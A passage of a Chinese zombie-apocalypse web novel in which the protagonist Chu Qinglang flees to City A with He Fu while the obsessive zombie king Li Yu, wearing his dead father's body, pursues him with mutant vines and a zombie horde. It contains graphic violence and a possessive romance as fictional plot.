水晶吊灯缀着淡绿色的禾雀花以及无数的藤本植物,它们向下生长着,犹如人体经脉一般在坚硬光滑的大理石地面和墙壁上流转勾缠,葱茏繁茂。 空旷的地面上,坐在自然形成的座椅上的宾客穿着优雅,枯瘦面上凝结着喜悦微笑,翠绿叶片掩映间,淡黄色的菟丝花枝干接入心脏。 为他们维持着生机。 在他们面对的前方,祭品遗像后方,实木棺材安静无声的立着。 厉屿穿着被一层层鲜血染黑的西装长裤,双手交/合,躺在棺材里。 面色灰白,仿佛石膏造就。 胸膛毫无起伏,唇削薄,几近于透明的皮肤下骨骼格外凌厉,一眼看去,几乎要被溢出的锋利的阴冷死气刺痛。 忽地,厉屿眼睫轻颤,径直睁开了双眼。 异色巩膜仿佛画上去一般,瞳孔也没有任何由暗转明时该有的变化。 他起身,从棺材中迈出。 房顶垂落的触须细密,恍若蛛网将整间房子间笼罩。 厉屿步伐缓慢的走到厉权的遗像前,弯曲脊背鞠了一躬。 相似的皮相,骨窝,眼眸。 低哑的,掩不住癫狂欣悦的笑意,厉屿说:“父亲,我理解你了,他真的坏的可爱,而且很漂亮。” “您在天之灵也会开心的吧?虽然你们没在一起,但是我们在一起了。” “多谢您。” 厉屿直起身,遗像啪地摔落,碎裂的玻璃将那张英俊面孔切割成四分五裂。 映着猝然亮起的水晶吊灯,反射出绚烂冷芒。 周经的身影在台下显现,恭敬垂首,等待着他的吩咐。 厉屿随手拿起摆放着的贡品,咬下。 齿与果肉摩擦,咽喉滚动。 在作呕的欲望和咽喉肺腑的疼痛中,厉屿汲取出那一抹清新甘甜。 “等下你们带着我的身体去A市。”扔下苹果,他转身向着楼上走去,“这些人杀了吧。” 他需要好好清理一下身上的痕迹。 到时候他不仅会用厉权的身份和楚楚在一起,厉屿也会在楚楚的身边。 “是。” 周经面上笑容不变,恭敬应下。 * 开着开着,楚青琅觉得身后的人已经很久没有出声了,他疑惑的抬眼看了下后视镜,发现男人正在睡觉。 丧尸也会睡觉吗? 难道是因为厉权还残留着意识,所以才会睡觉? 肩膀上有着阴凉重量,那是魔藤在盘着。 青绿的尾巴尖不住的点着他的锁骨,带来一阵痒意。 挡风玻璃带着裂纹,外面阳光炽热,将平直的高速公路染上金光。 前面跟着货车的改装轿车贴着防光车膜,看不清晰里面的场景。 楚青琅收回视线,小声的叫了叫厉权的名字,出乎意料的是,厉权还真的在睡觉,没有回复他。 他眯了眯眼,一只手从方向盘上移开,摸了摸肩膀上的魔藤。 他轻声询问:“你会听我的话吗?” 【听话,听话,听话。】 指尖覆上去,魔藤好像感受到了他的善意,连忙顺着他的指尖绕在了手指上,随后顶端冒出一只淡紫色的小花,在他的手背上蹭了蹭。 楚青琅感受到它的驯服,不由得弯了弯唇,他说:“那我让你控制住厉权的话,你会听话吗?” 魔藤滞住,仿佛在思考一般。 【伤害,不行,伤害,不行。】 青年摸了摸它的身子,极尽温柔,血肉香甜的气息让魔藤克制不住的显露牙齿,细细摩挲起那皮肉来。 【厉屿不行。】 【厉权可以。】 楚青琅看着手中的小东西突然支起,随后变大朝着后面而去,那青嫩的表面裂开一道大口,仿佛要直接将厉权给吞下去。 他连忙停下车子,拽住了魔藤。 这也太听话了吧。 楚青琅有些哭笑不得,他只是想要做一些保障罢了,没有现在就把人彻底弄死的想法啊。 而且厉先生对他这么好,只要后面不干涉他,他怎么都不会伤害他的。 “不是叫你现在去控制他,还有,不能吃掉他。” 这么近的距离,楚青琅是可以看见魔藤是如何把那些牙齿收回的。 沿着那些深棕色的痕迹,尖细牙齿一排排的缩小收回,裂开的缝隙合拢,很快,就又变成了小小的一条。 乖巧的攀在他的手上。 楚青琅奖励的摸了摸它,就准备重新启动车子。 只是车子仿佛出了什么问题,怎么都启动不了。 楚青琅双手放在方向盘上,踩了踩油门,车子发出一声闷闷的响,随后又噗的安静下来。 “咚咚咚!!!” 车窗外传来沉重大力的敲击声。 楚青琅扭头看去,只见何复戴着黑帽子握着抢站在外面。 还没将车窗降下,何复就直接用枪把将带着裂纹的玻璃敲碎,把手伸进来打开了车门。 “复哥?” 何复现在的情况很明显的不对劲。 40-50 第41章 第 41 章 我会养你。 厉宅。 藤蔓犹如有着自己的意识一般缓缓褪去, 露出铁艺大门从内打开。 一辆漆黑的车子缓缓开出。 驾驶位上,穿着燕尾服,面上刻着笑容的周经把握着方向盘,控制着车子朝着远处走去。 阳光移动, 透过车窗, 可以看见那里面已经换了一身衣服, 安静躺着的厉屿。 在厉屿对面, 摆放着一大瓶玻璃罐。 玻璃罐里面是一颗颗的心脏,一道如蛇的青绿色藤蔓在里面钻来钻去, 细细啃食着那血肉。 那是眷养于厉屿身体里的魔藤主枝。 他将自己的伴生带来,渴望去往青年向往的地方,一同打造属于自己的居所。 毕竟。 楚楚并不反感这些东西。 无论是魔藤。 还是他。 * 何复也没有要回答的意思,拽着楚青琅的胳膊将他拉了下来,冷冷道:“跟我走。” 楚青琅被拉的踉跄两步, 感受到魔藤想要攻击的欲/望,他安抚的按了按,随后站定问道:“复哥, 厉先生还在睡觉呢, 就算是急着赶路, 也不能把人给扔下啊。” 何复咬紧后牙,对视间仿佛感受到了他的决心, 抬手在楚青琅震撼的目光中就给了坐在后面的厉权一枪。 随后掰过他的脑袋, 让他看。 “他是丧尸!” 按着后颈的手冰冷潮湿。 楚青琅看着厉权额头血肉蠕动,将那子弹挤出,很快,那快皮肤就恢复成了原本光洁的样子。 他却毫不在意的样子,扭头笑着说:“我知道啊, 但是他是厉先生。” 他扶着车门,将何复的手扯下,蓝眸闪亮,满是信任,他道:“厉先生是不会伤害我的。” 何复嗤笑一声,一字一句道:“他不是厉权!楚青琅,你被玩了自己都不知道吗?” 楚青琅下意识的眨眼,他满不在乎的侧身想要避开,却被何复一把揪住了领子。 何复低吼说:“楚青琅,你给我清醒点!我昨天跟你们过去了,当时他那副模样绝对不是普通丧尸该有的样子,他杀了宋约,杀了我们所有警戒的人,还把他们变成了傀儡!” 怎么可能? 厉权的举动和记忆中的并没有区别啊? 不是厉权还能是谁?如果是厉屿的话,早就恨不得他死了,这一路上怎么可能会这么照顾他? 楚青琅覆上他的手,蓝眼睛里所有柔软的情绪收敛起来,变得冷硬起来,他问:“为什么没有控制你?” 何复感受到他的不信任,惨笑一声,一把将帽子摘了下来。 碎发下,他一只眼带着绷带和纱布,他摘下纱布,里面是空荡荡的眼眶。 青绿色融入血肉,边缘有着淡黄色的根茎沿着脸部蔓延。 何复靠近他,黑黢黢的眼眶中生长的根茎仿佛感受到楚青琅的存在,于空中颤颤巍巍的蔓延过来。 “你怎么知道他没有想要控制我?” “那些东西寄生在眼球中,估计一到A市就会直接把我变成傀儡,所以我把它挖了出来。” 楚青琅震惊的看着何复向他展示出来的,空荡荡的眼窝,还有那朝他攀来的青绿色根茎。 如果何复说的是真的,那么用变异植物来控制人确实像厉屿的风格。 对了,他还说刚出去的时候,在那个商超里面为什么没有看见丧尸,还有碰见那些抢劫的人时,厉权面部变化的样子,他以为那只是被丧尸王转化后能正常拥有的能力。 还有厉权怎么会如此轻易的就把厉屿控制他的魔藤给取下来,魔藤也没有丝毫反抗的样子。 刚刚他让魔藤攻击的时候,为什么魔藤会犹豫 如果把厉权看作厉屿的话,一切就明了了。 楚青琅面色微白,他下意识的回头想要看厉权,但是却硬生生的控制住自己。 何复还在他的面前瞧着他,瞧过来的神情复杂极了。 沉默良久,楚青琅握住他的手腕,说:“我信你。” 任务说是逃亡A市,已经把厉权这个限定条件给去掉了,所以他自己走也可以,之前不过是担心厉屿给他找麻烦才带上厉权,谁知道他竟然直接把麻烦带到了身边。 还一无所知。 确认他相信了自己,何复顿时松了一口气,戴上帽子转身牵着他朝着不远处停下的车子跑去。 “我们现在需要赶紧去A市,只要藏起来,到时候谁也掌握不了我们的踪迹。” 楚青琅跟在他的身后跑,唇紧抿着。 直到现在,他还有些怔然,但是心情上的复杂,并没有耽误他跑路的速度。 刚坐上车,后背就传来一阵巨大的推力,车子犹如一道闪电,猛地加速朝着前方冲去。 楚青琅慌忙拽下安全带给自己带上,余光中,他瞧见前方的厢货和轿车已经被鲜血浸染。 何复目不斜视,却仿佛察觉到了他的视线,冷漠道:“死的是警戒人员,我杀的,普通人还活着。” 楚青琅倾身着急道:“那那些普通人怎么办?他们没有自保的能力啊?” 何复嗤笑一声,“你不在那里他们就是最安全的。” 只要他远离了他们,那些普通人有武器有车还有着食物,更何况路程只剩下了不到半天,只要自己会开车,会非常容易到达A市,再次获得庇佑。 但是楚青琅在就不一样了,虽然不知道何复怎么会知道厉权是伪装的,但是先前楚青琅就一直在想,到时候要是厉屿给他来一个大的会怎样? 现在骤然得知厉屿一直潜伏在他的身边,楚青琅只觉得厉屿一定会在A市前就主动暴露身份,杀死所有人,并且在那之前用和他关系不错的何复还有他救下的小孩来心理折磨他。 厉屿不是没有这样的前科。 他一向心机深沉。 两侧的风景飞速褪去,楚青琅没有应声,他收回视线,伸手把魔藤从领子中掏出。 被骗的震惊过去,他的脑袋又快速转动起来。 现在厉屿应该是在家里,所以他醒来之后用的肯定还是厉权的身体,所以和魔藤的约定还在数,这算是一张底牌。 如果厉屿醒的晚了,他和何复已经到了A市是最好的。 到时候,他就完成了支线任务,就可以彻底放开自我激怒厉屿,让他杀了他。 这样两个任务就都可以完成。 想清楚之后,楚青琅掐了掐掌心,心中庆幸。 还好厉屿没有杀也没有完全控制住何复,还好他之前和何复联络了一下感情,让他站在了他这边。 不然,估计到了A市他还被厉屿蒙在鼓里。 魔藤弯曲身体,黏在他的掌心中,仿佛融化一般瘫成一长条。 楚青琅点了点它,轻声说:“要听话啊,不然就不要你了。” 魔藤猛地僵硬了一下,随即连忙支起上半截身子在他的指间蹭了蹭,仿佛感到了恐慌,还死死的用尾部缠绕着他的手掌。 【听话,楚楚,听话,不,不要,不。】 何复站在一旁,瞧见他拿出来的东西,眼眸倏地一缩,抬手就把枪口对准了它。 魔藤也仿佛感受到了杀意,顶部裂开一道口子,曲起身子就要攻击,却被楚青琅一个合十给按了下去。 楚青琅说:“别担心,这个东西听我的话。” 何复和他对视,缓缓放下了手枪。 * 因为少了其他人的拖累,何复又开的速度很快,硬生生的将原本半天的路程缩短到了两个多小时。 中间还换了一辆车子,虽然没有钥匙,但是在楚青琅意外的目光中,何复瘫着一张脸七搞八搞的就用两根电线启动了车子。 如果按照原来的速度,他们很有可能被厉屿追上。 很快。 他们的视线中就出现一面高达十米的城墙,城墙绵延无尽头,将整座城市都包裹了进去。 在城墙下方,一道黑色的金属大门微微敞着。 大门前是从四面八方汇聚而来的车流,分成了两个队伍,安静的排着队。 荷枪实弹的穿着制服的人员成列守在门的两旁,一道道安检程序将下车的众人隔开。 很明显,只有通过所有安检程序的人才能进入A市。 何复停下车子,攥着方向盘的手不自觉的抽搐了一下。 他意识到了这个事实。 他身体上的变异如此明显,一定是过不了检查的。 副驾驶上,从来没有这么全力赶路过的楚青琅感觉胃部有些翻腾,他连忙打开了车窗,捂着嘴缓了一会。 外面通畅的空气很好的缓解了他的不适,楚青琅放下手,一眼就瞧见了前面的队伍,还有那高大的城墙。 心中的紧张感顿时消散了大半。 已经到了这里了,应该不会出现什么问题了。 他侧身对着何复道:“复哥,我们到了,厉屿还没有追来,我们先走吧。” 何复深呼吸了一下,收回因为肾上腺素飙升而颤抖的手,他说:“厉屿是谁?” 楚青琅打开车门,“厉屿是厉权的儿子,也是控制你们的人,他早就变成了丧尸,但是可能中间出现了什么问题,他有了这种能力。” 闻言,何复侧头深深的瞧了楚青琅一眼。 脑海里面瞬间浮现了那个怪物环抱着青年时克制又痴迷的样子。 楚青琅站在车外,疑惑的叫他,“复哥,快下来。” 因为他格外显眼的和他人风尘仆仆完全不同的外表,在门前排队的人都似有若无的把眼神看了过来。 车里的人并没有回复,楚青琅正准备低头看去,却听见砰的一声关门声,带着凉意的声音就在对面响起,“喊什么喊?” 何复走来,拽着楚青琅就朝着前方走去,枪支别在腰间,极为显眼。 楚青琅偏了偏头,晃了下何复牵着他的手,弯起唇笑了笑。 复哥还真是,嘴硬心软。 一如既往的好玩。 他们排在了队伍的最后方,身后,依然有着源源不断的人赶来,只是都和两人保持着距离。 中间不是没有人想要靠近两人,但是瞧见了何复那阴沉沉的气质还有手中的武器后,都退缩了回去。 只能在心中猜想着那白净俊美的青年和身前的人是什么关系。 但是这种想象很快的,就朝着下流的方向而去。 毕竟许多人都是历经千辛万苦才来的,外貌都是灰扑扑的,而青年不说衣服干净,就连那双眼都格外温柔澄澈,一看就是没有吃过苦,被人娇养的样子。 而现在这种末日,自己都顾不上自己了,还能被好好养着,靠的是什么简直不言而喻。 何复感受到周围的视线,瞬间冷下目光,扫视了一圈。 那些不死心的还将目光停留在青年身上的人,顿时收回了视线。 这下子,算是彻底没有人打扰他们了。 楚青琅却仿佛浑然不知的模样,他面上挂着笑,蓝眼睛长久的凝视着前方。 时间一点一滴的过去。 中间,检查的人拽出了不少被丧尸咬伤或者抓伤的人试图混进去,一旦发现,不远处拿着枪的人就会控制住,然后再排队的人中间,将那些人就地正法。 一声声的枪响还有那冷漠无情的态度,无形威慑了所有心怀侥幸的人。 楚青琅甚至看见有人直接哭出了声。 随着他们前面的人越来越少,楚青琅只觉得何复握着他的手腕的掌心越来越湿,扣着他脉搏的指尖泛着凉意,仿佛在恐惧着什么一般。 楚青琅皱了下眉,他伸手搬过何复的肩膀,倾身凑近,头顶将那拉低的帽檐微微顶起。 他说:“复哥,很害怕吗?” 青年湛蓝的眼眸带着光闯进来,里面是从未有过的关心和专注。 何复几乎是贪婪的瞧着青年。 从他亲手杀死一直跟着他的宋约时就被扼住的咽喉,终于在青年的注视中自由的呼吸起了空气,氧气瞬间在血液中满溢,将他的头脑冲的晕乎乎的。 他张了张嘴,想要回答,但是过于激动的心情却让他说不出话来。 于是何复摇了摇头。 他伸出手,按住楚青琅的脖颈,将他拉近,喘了几口气后才哑声说:“进入里面后,你会和我在一起吗?我会养你。” 楚青琅浓密的眼睫在眼尾拉长,眨动间宛如蝶羽轻颤,将蓝眼睛里面的光芒搅动的绚烂。 他温柔的笑,说:“当然。” 话音落下,颈后忽地传来大力。 唇瓣被撕咬,带着歇斯底里的情绪,楚青琅意外的抬手退拒着,但是按着他脖子的手却格外大力,几乎纹丝不动。 仿佛感受到了他的拒绝,唇上的力道变得轻柔起来。 楚青琅几乎能够感受到队伍前后的目光,他白皙的面皮一下子变得微红,猛地将人推开,捂着嘴后退了一步。 何复舔了下唇,一直沉着的眉眼扬起,带着肆意的畅快。 他说:“最后信你一次。” 楚青琅正要开口说话,一阵尖锐且短促的警报声就响彻整片天空。 持枪的人停止检查,让人远离。 他们警惕的望着前方,端着抢开始后退,不远处的大门开始缓缓合拢。 这种即将被抛弃的感觉,让人群蓦地哗然起来。 喧嚣嘈杂的询问声,尖叫的发泄声,恐慌的情绪,宛如瘟疫一般迅速传染了所有人。 在情绪沸腾到顶点时,两人冷静的在人群中躲避着周围的推搡。 楚青琅瞥见持枪警戒的人被骚乱的人扰乱视线时,反手牵着何复向大门跑去,相比起在那里排队,这种混乱的情况,更加适合着急的他们。 他们宛如一条游鱼,灵活极了,很快就来到了大门旁。 此时,大地开始微微震动,隐约间,嘶吼声夹杂着尖叫声遥遥传来。 那警报声越来越高,越来越急促。 不远处,腾起的烟雾遮蔽了所有人的视野。 但是很快。 一道道人影就从烟雾中显露。 破损的衣衫,青灰色的腐烂可怖的面孔,狰狞僵硬的肢体动作。 出现在他们面前的,全部都是丧尸。 如潮水般涌来。 所有人遇见天敌一般,倏地安静下来,他们几乎是失神般的看着,这铺天盖地袭来的丧尸,彻底断绝了他们的求生欲望。 在人们的身后。 楚青琅伸手,白皙修长的手指已经触到坚硬漆黑的门框。 他心下微松,正准备迈步,腰间却突然传来一股巨力,将他拉向后方。 楚青琅几乎可以听见指甲在那大门上划过的刺响,他下意识的握手,却攥了一手空气。 “青琅!!!” 牵着他手的何复清俊的面容变得扭曲,跟着被带走的他奔跑。 何复猛地上前一步,从腿边抽出刀,用尽全力朝下砍去。 一声虚幻的尖叫声后,青绿色的汁液飞溅,却并没有彻底砍断那藤蔓,反而被汁液溅在手上,平整的皮肉很快就腐蚀出一块块伤口。 被砍中的藤蔓分裂出根须愤怒挥舞,路上的人都被刺穿,亦或者直接失去了性命。 鲜红的血液几乎染红了楚青琅的后背。 而经过这一茬,高墙下的大门已经彻底关闭,所有的警卫人员都退守到了大门之后,他们彻底失去了最后的机会。 腾起的烟雾渐渐落下,异变的丧尸将幸存者团团包围,但是奇怪的是,那些丧尸却只是站在周围,对着他们这些肉流口水,并没有任何一只丧尸敢于真正的上前一步。 忽地,在所有人的注视下,丧尸们蹒跚着分出了一道通道。 一辆挡风玻璃破碎的车子缓缓开出。 男人开门下车,长长的风衣随着动作,于小腿处垂落,那张英俊面孔被戾气扭曲,但是很快,就调整成了深情沉稳的面具。 他双手大开,浓黑眼眸欣悦的凝视着被强行拖拽而来的人。 仿佛在迎接向他奔来的,心意相通的恋人一般。 第42章 第 42 章 恨也好。 腰间的力道松开, 楚青琅撞进一个坚实的,熟悉的怀抱。 苍白手指抬起他的下巴,让他只能仰头靠在男人的怀中,修长的脖颈被迫拉直, 青紫色的筋脉在皮肉上浮现, 愈发脆弱可怜。 漆黑的指尖一遍遍碾着那柔嫩的唇。 冰冷面颊贴近, 耳边, 是厉权平静到极致的嗓音,却犹如暴风雨前的宁静, 让人惴惴不安。 “楚楚,他亲了你吗?” 不。 他是厉屿。 望着苍白死寂的天空,楚青琅一双蓝眼睛倏地落下泪来。 他说:“厉先生死了是吗?” 掐着他下颌的手骤然用力。 楚青琅说:“回答我。” 厉屿张了张口,无边的愤怒和杀意在那滴眼泪落下时转为浓烈的,可怖的嫉妒, 蚕食着他的理智。 他吃吃笑着,凑近那白皙柔嫩的耳,变得细密尖利的齿轻柔啃噬着。 他用着自己父亲的, 厉权的身体搂紧青年, 给予了确认的答案。 “他早就死了。” “一直陪伴在你身边的是我啊。” 话音落下, 楚青琅忽然极力挣扎起来,指尖在他面容上划出一道浅浅的伤口, 血丝溢出, 却被从他领子中探出的藤蔓舔舐覆盖。 “放开我!滚啊!!” 楚青琅抠着掐住下巴上的手,肘关节死死朝后撞着。 但是身后的人却仿佛一堵墙一般,纹丝不动,甚至伸出了细长的舌,在他的嘴角旁轻探。 “你明明不爱他, 你喜欢的只是我制造出来的幻影,现在我就在这里,所以你为什么要有这么大的反应呢?”厉屿喃喃,“想进去的话,为什么不带上我?我从未阻止过你,不是吗?” 带上你然后任务失败是吗? 楚青琅几乎要被气笑,他从未有过如此挫败的时候。 他的声音冷下来,“厉屿,这就是你要给我的报复吗?” 厉屿仿佛不解,疑惑的“嗯”了一声。 楚青琅深呼吸,接着道:“你现在是要干什么?控制那么多的丧尸,还肆意杀戮人类,你到底要干什么?!!” 清越的嗓音不自觉的升高,甚至带着几分刺耳。 厉屿忽然意识到,青年在面对他的时候,从来都是这样一副警惕的模样。 仿佛竖起来全身尖刺的刺猬一般。 但是没关系。 厉屿嘴角漫上微笑,怪异的,几乎将他整个面孔撕裂的斑斓纹路浮现。 恨也好。 最好,恨到要杀死他。 这样,如此真实的情绪,如此汹涌的感情。 是属于他的。 声音落下却并没有得到想要的回复,楚青琅心中的不安积蓄的越来越多。 只要厉屿回复他,他就可以接着说下去,引导他,让他带着他进去。 然后会就只剩下死亡这一个任务了。 但是为什么没有回复? 身边的人仿佛冰冷的空气一般,吞噬了他所有的质问,然后酝酿着某种幽深诡秘的东西。 因为长久的保持一种姿势,楚青琅只觉得脖颈酸痛,他不适的动了一下,嘴却被捂住。 指尖深入口中,他深深地咬了下去。 仿佛扔下来的石头终于到底了,身旁的人给予了回复。 “我要做什么?” 厉屿搅弄着他的舌,浓黑眼眸渐渐被铁锈般的红覆盖。 “如果楚哥装作没有发现,如果对我态度好一点,给我留点希望的话。” 舌被夹出,厉屿侧头亲了下那湿红舌尖。 “我怎么会这样做呢?”他说:“所以,都怪楚哥。” 话音落下,一声声嘶吼响起,身旁的丧尸冲了上去。 宛如潮水拍击着海岸,残留的人类惊恐的被吞噬。 城墙上方现出防卫人员,但是那些子弹就算是在战场上想要击中一个人都是如此困难,更何况他们对决的是一个个活死人。 很快,那些丧尸就堆积成了一层层的梯子。 “青琅!!!” 何复的声音响起。 楚青琅艰难看去,只见何复在浪潮中宛如一柄尖刀,劈开那成片的丧尸,踏着成堆尸体朝他走来。 厉屿拥着他靠在车子上,在这地狱一般的场景中笑的畅快,他瞧着何复,却宛如看着虫豸一般漠然。 他手臂用力,几乎要把怀中挣扎的青年嵌进血肉。 “楚哥,我会带你进去,别着急。”他在那绷紧的皮肉上嗅闻,怜惜的轻吻,“我们会安稳的生活在里面,我知道你想要最好的生活。我保证,在这个世界上,不会有人比你生活的更加幸福。” 楚青琅瞳孔微微放大,他感觉自己被一条森蚺缠绕,窒息感让肺腑感到刺痛。 他伸手抓住厉屿的发,扭头,鼻梁交错间,他终于看清楚了一直拥着他的人的真实面孔。 苍白透明的皮肤上是魔藤上生长的深棕色纹路,薄薄的眼皮下,双眼失去瞳孔,往常那灼热的情意愈发浓稠粘腻,却仿若化冬的雪泥一般,肮脏,满是恶意和卑劣的兴奋。 恨意和爱意交杂,楚青琅在目光对视的瞬间,几乎感受到了灵魂的震颤。 纯白的宛若坚冰一般的心墙,只在上一个世界因为深沉的情爱融化些许,但是厉屿的疯狂,却如一艘失控的船,向着他发出自杀式的袭击。 楚青琅几乎是本能的摒弃了心中产生的陌生情绪。 他攥紧魔藤,一向温和爱笑的面容罕见的冷了下来,“厉屿,别用厉权的身体做出这副模样,你令我恶心。我想要最好的生活,我会自己去争取,不需要你。” 厉屿仿佛听见了什么好笑的话一般,不顾头顶上朝后拽着的手,他凑近他,勾起的唇带着讽意:“你说的争取是做我父亲的情人?你说的争取是引诱他的儿子?你说的争取是三心二意的和别人接吻还互定终身?!” “你都没有发现我和父亲的区别,你对着我撒娇,我们拥抱,我们亲吻。所以,凭什么这么质问我?”厉屿仿佛想到什么一般,他苍白面皮上的血管痕迹越发显眼,里面流动的血液几乎要顺着每一处毛孔流淌出来,“对了,一个何复不够,后面你还会攀上别人,还是用着对我的那一套是吗?” 话语中的怒火越来越盛,猩红眼眸中带着嗜血杀意和贪婪渴求的意味,另一只按着后颈的手不断的在他的心脏处徘徊。 冰冷滑腻,仿佛下一刻就要掏出那颗血心,瞧瞧是不是冰雪做成。 该死的,那是原剧情上的事情,他现在又没干。 楚青琅强撑着面上的冷漠,他努力祛除声音中的情绪,冷静道:“对于我们这个游戏,是你犯规在先,别说的好像什么都是我的错一样。你不是孩子,要为自己的选择负责。” 最后,他点了点他的胸膛,轻声说:“厉屿,就是这样,你永远比不上厉先生。” 话音落下,楚青琅看见面前的人面孔扭曲了一瞬,神情忽然变得极为可怖,那双眼眸死死的盯着他,咽喉滚动,却只是发出了一声不明意义的音节。 懒得理解他在想什么,楚青琅施力掰开脖颈上扣着的手。 “拦住厉权!” 话音落下,手中的魔藤依着他的吩咐倏地变大。 青绿色的藤蔓于身后张开,触须生长,将厉屿团团困住,寄生花在魔藤表面显现,铁锈般的腥气蔓延,锋利的叶片将搂住楚青琅的手臂其根斩落,随即枝丫顺着血肉模糊的断臂朝着身体内部钻去。 手臂落在地上,发出一声闷响。 楚青琅趁着厉屿被控制的瞬间,推开他朝着前方跑去。 身后,魔藤仿佛明白他的意图一般,猛地圈起他的腰肢,倏地将他朝着城墙的方向扔去。 视线中,何复清俊染血的面孔清晰可见。 随后眼前一花,他落入一个满是血腥气的怀抱。 “我带你走。” 何复紧紧的拥着他,转身仿佛接力一般朝前奔去,头上戴着的帽子早已掉落,黑黢黢的眼眶表面,淡青色的枝丫几乎将他的半张面孔遮蔽完全。 子弹在两人周边穿梭。 楚青琅趴在他的身上,头颅靠着他的肩膀,试图给他减轻重量。 两边丧尸在他们跑过时发出一声声的嘶吼,蹒跚着步伐朝着他们追来。 远处,破碎的玻璃映着那张几乎是四分五裂的,被青绿色藤蔓团团缠绕寄生的人类。 他周身溢出死寂般的沉默。 良久。 一声嘶哑的笑声从那从始至终翘起的唇溢出。 像是山体彻底崩塌时最后的空响。 他站在那里,硬生生的将钻进骨骼中的藤蔓中抽出。 锋利的枝叶寸寸划开神经皮肉,森寒的冷意挟着早已熟悉的痛苦重新溢满心肺。 【别走,别走,别走,别走。】 【好痛,好痛,好痛,好痛。】 “楚楚,你怎么能朝着里面逃呢?” 厉屿看着跑到门口踩着丧尸朝着城墙上方爬去的两人,他欣悦的,目眩神迷般地欣赏着那逐渐被惊慌充斥的面容。 他慢条斯理地弯身,将那断臂捡起,对上肩膀整齐的切口。 楚楚这么轻易的伤害了厉权的身体。 所以,他在说慌。 他不在意厉权。 * “快走!” 丧尸所叠起的阶梯在这十米高墙下,还是过于矮小,哪怕何复的双手已经鲜血淋漓,但是距离那入口,还是有着极远的距离。 脚下的□□坚硬又温热,何复攥着他的脚腕,生生的将他向上托举而去。 还没有彻底死去的丧尸抓挠着何复的身体,却没有让他松开丝毫力气。 楚青琅仰头看着着那近在咫尺的城墙,对上了一双惊讶的双眸。 他忽地笑了起来。 从上朝下望去,面容俊美白皙的青年仰头,温柔淡然的微笑几乎让人忽视他身后可怖混乱的丧尸潮,那双蓝眼睛容纳了整片天空,诚恳哀求的目光令所有人动容。 少年下意识的摸出腰间的绳子,朝着对方扔了下去。 尼龙绳坚韧划手,只是一个用力,就将那修长白皙的双手勒出了血痕。 楚青琅庆幸这个身体虽然不像何复一般强健,但是平常还是有着锻炼的习惯,因此,他才可以只凭借着一根绳子爬上去。 在他翻身进去的瞬间,面前淡蓝色的系统面板自动打开。 【支线任务已完成。】 【请006号考核系统继续努力。】 身旁的少年好奇的询问着什么。 楚请琅还没喘过来气,连忙趴在城墙边缘向下看去。 何复身上的衣料破碎,白骨从血肉中裸漏而出。那张清俊的面容已经彻底被淡青色的枝丫占据,只有一只漆黑的眼眸,不带丝毫戾气的,柔和平静的望着他。 随即被无尽的丧尸淹没。 一向从未下降过的ooc的提示忽地响起。 【警告!】 【考核系统人设完成度下降。】 【偏移度1%——5%——10%——】 淡蓝色面板猛地关闭,楚青琅握着绳子就要越过城墙重新下去。 却被一旁的少年猛地拽住。 “你干什么?!”少年质问他,“你刚爬上来,下去送死吗?!” 楚青琅平静道:“救人,我从不欠人。” 少年瞬间冷了面孔,拿着抢顶住他的头颅,“真是白费我的力气,下去你也是死,还不如我现在把你弄死!” 一道犹如实质的目光落在他的身上,楚青琅准备下去的动作顿住,抬眼。 厉屿拽着魔藤在身后拖出一道道痕迹,凝着他,缓步走来。 在他经过时,周围的丧尸都愈发的疯狂,很快,那漆黑的大门就被击出一个个的凹印。 这样下去,要不了多久,那大门就将彻底报废。 疯子。 楚青琅忍不住暗骂。 他又一次的打开系统面板确认了一下自己的任务。 主线任务确实是要他被反派杀死,而不是他杀死反派。 楚青琅忽地伸手抢过少年手中握着的抢,对准下方的厉屿,连扣了几下扳机。 出乎意料的,周围的人射出的子弹都被身后跟着的魔藤挡住,但是他的子弹却是畅通无阻,虽然碍于准头,并未直接打到厉屿的头上,但是也是击中了躯干。 但是厉屿却仿佛什么也没感受到一般。 不,楚青琅指尖发凉。 厉屿的面上反而露出了神经质的笑意。 终于,他走到了城墙下。 他松开了手,身后的魔藤落在地上的瞬间,仿佛融化一般,变成了一滩的柔软粘腻的液体。 伴随着腥臭又芬芳的香气,液体朝着四方蔓延而去。 随即,里面咕噜噜的冒出气泡,一只只眼珠和盛开的五颜六色的花朵翻涌而出,轻飘飘的。 瞳孔齐齐转动,看向了楚青琅。 楚青琅闻着那气味,只觉得头脑一阵晕眩,他下意识的后退了一步,但是身边的少年何周围守卫的人员却仿佛被控制住了一般,竟然主动向前,翻过城墙,落入了那滩液体中。 他连忙用尼龙绳捆住少年。 低头看去,那液体蔓延的速度很快,除了毒气又仿佛带着腐蚀作用。 地上的尸体很快就被腐蚀了个干净,只剩下白骨在上面飘动。 楚青琅面容瞬间变得惨白。 他猛地想到被丧尸淹没的何复,何复变成丧尸很有可能还没有死,但是落入这些东西后,很有可能是真的会死亡。 楚青琅俯身叫着何复的名字:“复哥?复哥!” 并没有人回应,只有一声声丧尸的嘶吼响彻天空。 他忽地抬头,对着厉屿喊道:“你给我住手!你救救他!” 厉屿瞧着他,张口,但是那生涩的,嘶哑的嗓音,却宛如贴着耳边响起。 “你在求我?还是在求厉权?” 楚青琅梗了一下,他有些恼怒道:“求你!” 闻言。 厉屿面上浮现餍足的神情,他向他伸开双臂,漆黑的发下面容满是裂痕,猩红眼眸带着狂热的兴奋感。 “跳下来。” 楚青琅下意识的反问,“什么?” 厉屿语气轻柔,仿佛哄着不懂事的恋人一般。 “跳下来,我救他。” 楚青琅哑然,但是现在的情况容不得他多想。 他站在已经开始摇晃的城墙上,闭上眼,深呼吸了一下,猛地向后倒去。 厉屿张开双臂,喉间发出一道尖锐的,古怪笑声。 就是这样。 恨着他。 却只能依赖他。 厉权他们算什么? 不过是一个死人罢了。 * “复哥!” 楚青琅一把挥开搂着他腰的手,堪堪站稳就向着前方冲去。 那如淤泥般的藤蔓蠕动着避开他的脚步。 楚青琅蹲在地上,伸手朝着何复被淹没的地方寻去。 指缝间传来溶化的血肉模糊的尸体,翻找拉扯中,粘连的血线断裂,坚硬骨骼或重叠或滚落在地。 相似的残肢断臂,相似的狰狞面孔。 无法分辨。 天空下,那一双蓝眼睛仿佛碎裂的琉璃。 他张开嘴,酸涩咽喉滑动,徒劳的将氧气从胸廓挤压而出,但是只是微微停滞,便又向着前方伸出了手。 一只手从一旁伸来,攥住他的手腕, 厉屿将楚青琅拽起,伸手挑开他的发,英俊凌厉的面上,露出属于厉权的深情安抚的笑。 但是那一双眼,却满是阴翳。 